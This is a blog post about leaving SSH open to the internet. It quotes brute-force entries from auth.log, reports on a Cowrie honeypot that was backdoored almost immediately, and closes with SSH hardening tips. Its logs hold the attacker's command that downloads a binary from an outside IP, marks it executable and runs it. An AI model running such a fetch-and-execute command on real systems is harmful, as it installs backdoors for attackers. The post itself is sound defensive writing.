Leaving the ssh port open to the wild

January 17, 1970

Have you ever wondered how much of a threat is having a server exposed to the internet?

I own a server on a public IP that does serve HTTP + SSH, mainly for testing projects, had no domain names pointing to it until a week ago and it is not linked by any other machine (not that I know of). I have had hardened the ssh service with iptables, rate limiting and a more stric ssh configuration. Still it didn't feel safe, as services like shodan do exist.

So, just to be sure, I decided to have a look at the auth.log file, only to find this:

Apr 25 04:19:57 sshd[16620]: Invalid user mike from
Apr 25 04:19:57 sshd[16620]: input_userauth_request: invalid user mike [preauth]
Apr 25 04:19:58 sshd[16620]: Failed password for invalid user mike from port 58636 ssh2
Apr 25 04:19:58 sshd[16620]: Disconnecting: Too many authentication failures for mike [preauth]
Apr 25 03:48:31 sshd[15561]: reverse mapping checking getaddrinfo for ln-static-139-0-4-182.link.net.id [] failed - POSSIBLE BREAK-IN ATTEMPT!
Apr 25 03:48:31 sshd[15561]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=  user=root
Apr 25 03:48:33 sshd[15859]: Disconnecting: Too many authentication failures for root [preauth]
Apr 25 04:35:27 sshd[17261]: Disconnecting: Too many authentication failures for music [preauth]

And the list goes on.

The previous logs seem to suggest I was under a generic brute-force attack, rather than a targeted one. Anyway, out of curiosity, I though it would be a nice idea to set up the cowrie ssh honeypot on a completely new VPS.

The results speak for themselves, before I even could finish setting up my iptables rules for host & port redirection someone already had planted a binary file, which resulted to be a backdoor, as you can see here:

The downloaded file: $ ll dl/ total 628 lrwxrwxrwx 20160425153143_http___183_3_202_126_81_x_g7uf -> acbccef76341af012bdf8f0022b302c08c72c6911631f98de8d9f694b3460e25 ... The tty session log: `` $ cat log/tty/20160425-153143-43cde7b9-0e.log pW8pW--2016-04-25 15:31:43 -- Connecting to connected. (pW HTTP request sent, awaiting response... pW 200 OK 1pW8 Length: 625867 (611K) [application/octet-stream] pWSaving to:/root/g7uf

2% [> ] 14,219 22K/s eta 27sJ�pW�; 28% [===========> ] 179,291 71K/s eta 6sI�pW�5� 75% [=============================> ] 474,683 127K/s eta 1sB�pWA 100%[======================================>] 625,867 127K/s�pWC� �

Dp Wd 2016-04-25 15:31:47 (127 KB/s) - /root/g7uf' saved [625867/625867] The event logged by `cowrie`: $ cat log/cowrie.json | grep wget {"eventid": "cowrie.command.success", "format": "Command found: %(input)s", "timestamp": "2016-04-25T19:31:43.540166Z", "message": [], "system": "SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,7,", "isError": 0, "src_ip": "", "session": "43cde7b9", "input": "PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin wget chmod + x g7uf ./g7uf", "sensor": "xxxxxx"} ``

Keep in mind that this machine had just reached the Internet with just a bare public IP address.

By the time I searched on shodan, the honeypot was already indexed and analyzed.

By now 33 login have been made to the honeypot. $ ll log/tty/ | wc -l 33 And another backdoor has been planted.

To sum up

If you are going to run a sensible service, such as ssh exposed to the public be careful and do some stuff like:

  • Disallow root login
  • Disable password login, only allowing private keys
  • Disallow every user's login ability on the system but your personal user
  • Limit the number of attempts that a unique IP can do in a time period
  • Fail2Ban
  • Port knocking
  • Block by IP / country
  • Allow just trusted IP addresses
  • Change the default port number

Image by Timo Kuilder.